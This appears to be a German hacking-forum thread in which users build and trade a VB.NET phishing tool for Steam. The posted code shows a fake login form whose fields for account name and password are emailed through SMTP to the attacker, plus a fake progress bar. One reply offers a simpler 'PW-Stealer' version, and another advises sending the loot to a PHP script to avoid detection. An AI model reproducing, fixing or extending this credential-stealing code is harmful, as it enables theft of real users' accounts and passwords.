VB.NET Phising Source Code.

[Stelmi007]

Hi Ich bin an nem Phising tool dran für Steam.
Und ich komme einfach nicht bei der

Empfänger mail weiter sprich da.
Was muss ich dort eintragen ist ein fehler drin ? . -.- weiss nicht mehr weiter. :P.



Imports System.Net.Mail
Imports System.Net
Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
Dim text As String
text = "Account-Name: " + TextBox1.Text + " Passwort: " & TextBox2.Text + vbLf
Dim myClient As New Net.Mail.SmtpClient("smtp.web.de")
myClient.Credentials = New NetworkCredential("DEINEEMAIL", "DEINPW")
->myClient.Send("DEINEEMAIL", "DEINEEMAIL, DEINEEMAIL", "Steam Account", text)<-------------------
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
If ProgressBar1.Value = ProgressBar1.Maximum Then
MsgBox("Steal erfolgreich Pw: billyboy555")
Me.Close()
End If
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Increment(1)
If ProgressBar1.Value = ProgressBar1.Maximum Then
End If
End Sub
End Class

[stunt54]

vergiss den code xD nimm den hier^^


Imports System.Net
Imports System.Net.Mail




Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
MessageBox.Show("Deine Fehlermeldung")
Dim text As String
text = TextBox1.Text & TextBox2.Text + vblf
Dim myClient As New Net.Mail.SmtpClient("dein SMTP server")
myClient.Credentials = new NetworkCredential("Deine Email", "Dein PW dazu")

myClient.Send("Deine email", "deine email", "PW-Stealer", text)

End Sub
End Class

[q1x]

nope per php script und nicht per email = keine sniffer gefahr

[es mit email zu machen war auch ein großer fehler von mir]